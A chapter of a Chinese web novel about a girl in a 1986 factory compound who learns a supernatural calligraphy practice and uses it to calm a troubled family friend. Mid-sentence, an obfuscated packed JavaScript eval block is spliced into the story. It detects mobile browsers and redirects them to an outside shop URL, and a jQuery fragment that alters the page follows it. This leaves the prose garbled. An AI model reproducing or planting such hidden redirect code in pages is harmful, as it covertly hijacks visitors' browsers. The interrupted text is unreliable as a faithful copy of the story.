一九八六年，腊月。
厂区里的年味从腊八开始。食堂煮了一大锅腊八粥，糯米、红豆、花生、红枣、莲子混在一起，熬得黏糊糊的。每个工人分一碗。张清也分到了一碗，粥很甜，但她喝的时候心思不在粥上。
因为周伯年昨天跟她说了一件事。
"过了年，你自己去'看事'。"
"自己？"
"嗯。你在旁边看了两年，该自己去了。"
"可是——"
"你爷爷第一次'看事'，才十岁。你十二了。不晚。"
张清这一年变了很多。读帖读完了六百个字，心摹练了将近三万遍，乌木笔的笔胆又烧了十几道纹路。她的"意"强了，不是强在力气，是强在"稳"。用心摹写字，"意"从脑子里流到纸上不会断，能走一整圈。走完了，纸上的字会轻轻动一下，像呼吸。
腊月二十这天下午，张清在周伯年家练字。
她写了一个"清"字。乌木笔在宣纸上走了一遍，"意"从起笔走到收笔，顺畅得像水从高处往低处淌。写完了，她放下笔，看着那个字。
字在动。
不是她看花了眼。墨迹确实在动，像纸下面有什么东西在推。每一笔都在轻轻地呼吸，一收一放，一收一放。
周伯年从里屋出来，端着两杯茶。他走到桌前，低头看了一眼那个字，脚步顿住了。
他摘下老花镜，凑近看了看，又退后一步看了看。
"周老师？"
周伯年没说话。他把茶杯放在桌角，盯着那个字看了很久。屋外的风吹得窗纸哗哗响，屋子里只有茶杯搁在桌上那声轻响。
"你的字……在走了。"
他的声音很轻，像在自言自语。
"什么意思？"
周伯年没回答。他戴上老花镜，坐回椅子上，端起茶杯喝了一口。手指在杯沿上停了一下。
"不急。"他说。
张清想追问，但周伯年已经闭上了眼。她认识这个动作，这是周伯年不想说话的信号。她只好把那个"清"字收起来，折好，压在书底下。
腊月二十三，小年。
灶台上的铁锅整天没闲过。母亲沈素云系着围裙，手上沾满了面粉，从早忙到晚。早上蒸馒头，中午炸丸子，下午又炖了一锅骨头汤。墙角的煤球堆了一人高，烧到正月够了。走廊上到处是年货的味道，油炸的、蒸煮的、烟熏的，混在一起，呛得人直流眼泪。
"小清，去供销社买豆腐。腊月了，豆腐难买，别忘了排队。"
"知道了。"
张清把零钱揣在兜里出门。厂区的路上人来人往，大家都忙着买年货。供销社门口排着长队，买肉的、买酒的、买糖的。她排了半小时，买到了两块豆腐，方方正正的，白白嫩嫩，还冒着热气。
捧着豆腐往回走，路过厂区大门，看见周伯年站在门口跟门卫老李说话。
"周老师，今年过年去哪儿？"
"不出去。"周伯年说。"在家待着。"
"不回老家？"
"老家没人了。"周伯年笑了笑。"就一个人。"
张清走过去。"周老师。"
周伯年看了看她手里的豆腐。"两块？"
"两块。我妈说一块做菜，一块冻着。"
"嗯。"周伯年说。"回去告诉你妈，再多买一块。过年那天，你王叔要来。"
"王叔？"
"他今年不回去了。年前来一趟。"
张清愣了一下。"来看我？"
周伯年没回答，只是笑了笑。那个笑，张清读不懂。
腊月二十五，王先生来了。
和上次不一样。上次是秋天，他穿灰夹克，看起来很精神。这次是冬天，黑棉袄，雷锋帽，脸瘦了，眼圈发黑。但他的眼神没变，还是那种亮亮的、盯着人看的眼神。
"老张，我来了。"他在院子里喊。
父亲张立本从屋里出来。"进来坐。"
"不坐了。就是来看看小清。"
张清从屋里出来。"王叔。"
"嗯。"王先生看着她。"长高了。今年学了什么？"
"学写字。"
"还是写字？"王先生笑了笑。"走，去院子里。让我看看。"
天很冷，腊月的鄂西南，风吹在脸上像刀割。张清的手指冻得通红，但她还是握住了乌木笔。笔杆握在手里的瞬间，跳了一下。
她写了一个"安"字。宝盖头，下面一个"女"。每一笔都走得很慢，"意"从脑子里流到手指，从手指流到笔杆，从笔杆流到笔尖。
写完了。
王先生看着那张纸，看了很久。
"小清。"他抬起头。"你能不能帮我一个忙？"
他转头看着张立本。"老张，今年过年，能不能让我也来？"
张立本愣了一下。"你不回老家？"
"不回了。"王先生的声音很低。"老家没人了。就我一个。今年，我想在你们家过年。"
张立本看着他，看了很久，然后点了点头。"行。来吧。"
那天晚上，王先生住在张清家。屋里很冷，没有暖气，只有一个煤炉子。母亲灌了两个热水袋塞进被窝里，炉口盖了块铁皮，铁皮上烤着两片橘子皮，满屋子都是橘子的苦香味。
张清躺在床上。"王叔，你是不是有什么事？"
王先生沉默了一会儿。"小清，你能感觉到吗？我身上，有没有什么不对？"
张清闭上眼，用"意"去感觉。
她感觉到了。王先生身上有一股"气"，一种很沉的、压着的"气"，不正常，像一块石头堵在胸口。
"你不舒服。"张清说。
"嗯。睡不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809194|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着。吃不下。每天心里堵得慌。"
"能帮你'安'一下吗？像上次那样。你写一个'安'字，让我看着。"
张清坐起来，点上煤油灯，铺开一张纸，拿起乌木笔。蘸墨，落笔。她写了一个"安"字，写的时候把"意"送进去了。
"把纸放在我枕边。"
张清把纸放在王先生枕边。十分钟，二十分钟，半小时。他的呼吸变得均匀了。睡着了。脸上的表情变了，以前紧绷的眉头松了，像一块石头被搬走了。
张清没睡。她坐在窗前，看着外面的月亮。腊月的月亮很亮，照在雪地上白茫茫一片。远处厂区的烟囱冒着白烟，散在月光里，分不清是烟还是云。
她想起周伯年的话："量力而行。能帮就帮。帮不了，不要勉强。"
她帮了王先生，用了一个"安"字。但她知道，王先生的"病"不是一个"安"字能治好的。那股堵在胸口的"气"，心事，跟风水无关。符能安"气"，但安不了"心"。
第二天早上，王先生要走了。
"老张，谢谢。"
"客气什么。"父亲说。"年三十再来，一起过年。"
王先生走到门口，回头看了张清一眼。"小清，谢谢你。"
"不客气。"
张清站在门口，看着他的背影消失在厂区的大路上。风吹过来，把地上的雪吹起来，像白色的烟雾。
那天下午，父亲张立本在堂屋里抽烟。
张清从屋里出来。"爸。"
"嗯。"
"周老师说，过了年让我自己去'看事'。"
父亲抽了一口烟。
"去吧。"
张清愣了一下。她以为父亲会反对。
"但记住，"父亲掐灭了烟头，看着她。"不要让人知道你是谁。"
"为什么？"
父亲沉默了一会儿。"你爷爷，就是让人知道了。"
张清没再问。她知道父亲说的"让人知道"是什么意思。爷爷帮了太多人，名声传出去了，然后出事了。
"我知道。"张清说。
父亲点了点头。
"去吧。"
他站起来，弯腰系鞋带。手指在鞋带上停了一下。"你爷爷走那年，厂里传过一阵。有人说他是被人找上门的。有人说是他自己招的。我那时候在外头出差，回来的时候坟都立好了。"
他说完这句话就不说了。把鞋带系紧，站起来，拍了拍裤腿上的灰，走进灶房。他的背比去年弯了一些，棉袄后背有一块补丁，针脚细密，是母亲的手艺。
张清回到自己屋里，把灯拉灭。黑暗里能听见灶房的风箱声，一推一拉，很有节奏。窗外远处传来一声鸡叫，不是报晓，是夜啼。
明天还有四天过年。过了年，她就要一个人去"看事"了。
第一次。一个人。